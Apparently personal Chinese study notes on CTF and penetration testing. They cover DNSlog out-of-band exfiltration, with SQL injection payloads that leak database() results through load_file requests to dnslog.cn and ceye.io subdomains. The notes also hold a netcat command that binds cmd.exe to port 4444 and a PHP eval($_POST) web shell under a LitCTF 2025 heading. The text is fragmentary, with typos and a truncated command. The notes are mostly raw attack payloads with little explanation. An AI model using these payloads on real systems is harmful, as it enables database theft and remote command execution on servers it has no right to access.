碰到无回显的命令执行漏洞,可以通过dnslog外带来获取命令执行后的结果,从而方便我们来判断命令是否执行成功以及进行更深层次的利用。

原理将需要查询的值和域名拼接起来,向域名发送请求,DNS在解析的时候会留下日志,读取日志便可以获取信息。

select load_file(cocat(‘\\\‘,(select database()),’.dnslog.cn\abc’));(比盲注简单)

‘ and if((select load_file(concat(‘\\‘,(select database()),’.xxxxx.ceye.io\abc’))),1,0)– -+

and (select load_file(concat(“//“,(select database()),”.域名”))) –+

image-20250515230455587

nc.exe -l -p 4444 -e cmd.exe创建客户端10.204.76.197

nc 192. 4444

NSS复现

[LitCTF 2025]easy_file

随便输个用户名登录发现被编码了 看见=就想到是base64

1
2
3
<?php
@``eval``($_POST[123456]);
?>